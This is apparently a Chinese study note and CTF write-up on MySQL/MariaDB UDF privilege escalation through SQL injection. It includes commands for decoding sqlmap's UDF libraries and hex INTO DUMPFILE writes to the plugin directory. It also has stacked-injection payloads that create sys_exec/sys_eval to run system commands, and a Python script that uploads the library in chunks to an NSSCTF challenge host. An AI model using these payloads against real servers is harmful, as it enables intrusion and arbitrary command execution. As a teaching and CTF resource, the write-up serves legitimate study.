本文最后更新于 2025-11-12T20:32:25+08:00
学习文章:https://www.sqlsec.com/2020/11/mysql.html#UDF-%E6%8F%90%E6%9D%83
题目复现:https://www.nssctf.cn/problem/7215
前置
UDF 是用户自定义函数,允许数据库用户根据自己需要,使用 C/C++ 等语言编写一个函数,并将其编译成动态链接库(在 Windows 中式.dll文件,在 Linux 中式.so文件),然后由数据库程序加载并执行
UDF 提权的核心就是:利用数据库自身提供的、可以加载并执行外部代码的功能,将恶意的 UDF 动态库上传到数据库服务器上,并让数据库进行加载,由于数据库服务进程在操作系统中是以某个系统账户的身份运行的,所以我们创建的 UDF 就拥有了与该账户同等的权限,如果这个用户的权限足够高,就可以利用 UDF 进一步提权
也就是说,上传一个可以执行系统命令的 MySQL 函数到 UDF 动态链接库文件目录下,让 SQL 加载这个我们 自定义的函数,我们就可以用我们自己定义的函数来执行系统命令了
手工复现
动态链接库
如果是 MySQL >= 5.1的版本,就必须把 UDF 的动态链接库放置于 MySQL 安装目录下的lib\plugin目录下才能创建自定义函数
在常用的工具 sqlmap 和 Metasploit 中都自带了对应系统的动态链接库文件
如 sqlmap 的 UDF 动态链接库文件位置:
1
| sqlmap根目录/data/udf/mysql
|
kali 自带的 sqlmap 的 UDF 动态链接库位置:
1
| /usr/share/sqlmap/data/udf/mysql
|


但是 sqlmap 自带的动态链接库为了防止误杀都经过编码处理,不能直接使用,但是可以利用 sqlmap 自带的cloak.py来解码使用
cloak.py文件位置(kali中的):
1
| /usr/share/sqlmap/extra/cloak
|

解码方法(在cloak.py目录下):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
ls cloak.py lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll __pycache__ __init__.py lib_mysqludf_sys_32.so lib_mysqludf_sys_64.so
|

寻找插件目录
上面已经找到了 UDF 动态链接库了,现在就要把它放到 MySQL 的插件目录下,可以使用 SQL 语句来查询这个目录在哪:
1
| show variables like '%plugin%';
|

如果不存在这个目录,可以先找到 MySQL 的安装目录,然后手动创建


写入动态库
需要满足的条件:
- 存在SQL注入,并且拥有高权限的账户
- 在 MySQL5.5+ 中
secure_file_priv这个系统变量限制了LOAD_FILE()和LOAD DATA等操作的文件目录,如果被设置为空意味着没有限制,可以任意位置写文件,如果设置为NULL意味着不允许导入或导出,禁止文件操作
- 准备的 UDF 动态库要和目标服务器的操作系统(Windows/Linux)和架构(32位/64位)完全匹配
如果满足以上条件,就可以使用 sqlmap 来上传动态链接库,但是 GET 是存在字节长度限制的,所以通常是 POST 注入才能执行这种攻击
先查看secure_file_priv有没有限制
1
| show global variables like '%secure_file_priv%';
|

这是 Windows 的小皮的 MySQL5.7.26,默认是 NULL,可以找到my.ini这个文件,我的电脑就是E:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini,然后添加这个配置,这里用于测试,就设置为空

然后重启一下 MySQL 的服务就可以了:
1
| show global variables like '%secure_file_priv%';
|

现在可以任意写文件了
因为没有环境,下面的就直接借鉴文章里的了:
1
| sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
|

如果没有注入,但是可以操作原生的 SQL 语句,在secure_file_priv无限制的情况下,可以手写文件到plugin目录下,可以 SELECT 查询十六进制写入
我这里先从 kali 的 sqlmap 导出lib_mysqludf_sys_64.dll到主机里的E:\\sqludf\\lib_mysqludf_sys_32.dll里(应该不能带有中文路径),因为 PHPStudy 自带的 MySQL 版本是 32 位的,所以使用lib_mysqludf_sys_32.dll
这里的十六进制可以利用 MySQL 自带的 hex 函数来编码:
1 2 3 4 5
| # 编码本地文件为十六进制 SELECT HEX(LOAD_FILE('E:\\sqludf\\lib_mysqludf_sys_32.dll'));
# 也可以将路径 hex 编码(不过我复现失败了。。) SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
|

可以将编码的结果导入到新文件中便于观察:
1
| SELECT hex(load_file('E:\\sqludf\\lib_mysqludf_sys_64.dll')) into dumpfile 'E:\\sqludf\\udf64.txt';
|

将得到十六进制写入到plugin目录下
1
| SELECT 0x4D5A9000030... INTO DUMPFILE 'E:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll';
|

创建自定义函数并执行命令
1
| CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
|

这里的sys_eval是可以自定义的,导入成功后查看一下mysql函数里面是否新增了sys_eval:
1
| select * from mysql.func;
|

然后就可以使用这个创建的函数执行系统命令了
1
| select sys_eval('whoami');
|

删除自定义函数


UDF shell
没环境复现就直接看大佬文章了
https://www.sqlsec.com/2020/11/mysql.html#UDF-shell
CTF题目实战
这里用NSSCTF的一个题演示:https://www.nssctf.cn/problem/7215
这题存在SQL注入,但是数据库中的是个假的flag,所以需要让 SQL 执行系统命令,打 UDF 提权
先查看 MySQL 的插件目录位置
1
| 1 union select 1,2,group_concat(VARIABLE_VALUE) from information_schema.GLOBAL_VARIABLES where VARIABLE_NAME like 'plugin%'
|

可以发现目录位于/usr/lib/mariadb/plugin/(mariadb 是 MySQL 的分支,它源于 mysql,可以 看作是 MySQL 的社区版)
然后上传lib_mysqludf_sys_64.so文件到这个目录下
在本地将其编码为十六进制,写到文件里方便查看
1
| SELECT hex(load_file('E:\\sqludf\\lib_mysqludf_sys_64.so')) into dumpfile 'E:\\sqludf\\LinuxUDF64.txt';
|

注意这题是 GET 传参,对长度有限制,所以要分段传
可以创建一个表,将十六进制一点点插入到表里的字段,然后将字段的值写入到文件里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| # 创建一个sqludf表,里面有一个longblob数据类型的data字段 1;CREATE TABLE sqludf(data longblob);
# 将十六进制的so文件传进该字段 1;INSERT INTO sqludf(data) VALUES (0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000);
# 在该字段后追加数据 1;UPDATE sqludf SET data=CONCAT(data,0x181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e574640400000064120000000000006412000000000000);
# 。。。。。。(不断截取,将整个文件传进去)
# 将十六进制写进so文件 1;SELECT data FROM sqludf INTO DUMPFILE '/usr/lib/mariadb/plugin/rce.so';
# 创建sys_exec方法 1;CREATE FUNCTION sys_exec RETURNS int SONAME 'rce.so';
# 执行命令 1 union SELECT 1,2,sys_exec('env');
|
这里有官方WP给的脚本,不过环境不好,一直没看到命令执行的结果,就会卡住
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import requests import time
file_so = "7f454c460201010000000000000000000...........你的十六进制" url = f"http://node1.anna.nssctf.cn:28854/?id=" headers = { 'Cache-Control': 'no-cache', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36', 'Host': 'node1.anna.nssctf.cn:28854', 'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive' }
payload = "1;CREATE TABLE sqludf(data longblob);" requests.get(url + payload, headers=headers) print("已创建表")
first_chunk = file_so[:200] payload = f"1;INSERT INTO sqludf(data) VALUES (0x{first_chunk});" requests.get(url + payload, headers=headers) print("已上传 200/{}".format(len(file_so)))
for i in range(200, len(file_so), 200): chunk = file_so[i:i+200] payload = f"1;UPDATE sqludf SET data=CONCAT(data,0x{chunk});" requests.get(url + payload, headers=headers) print(f"已上传 {i+200}/{len(file_so)}") time.sleep(0.1)
payload = "1;SELECT data FROM sqludf INTO DUMPFILE '/usr/lib/mariadb/plugin/sys.so';" requests.get(url + payload, headers=headers)
payload = "1;CREATE FUNCTION sys_exec RETURNS int SONAME 'sys.so';" requests.get(url + payload, headers=headers) print("已创建方法")
|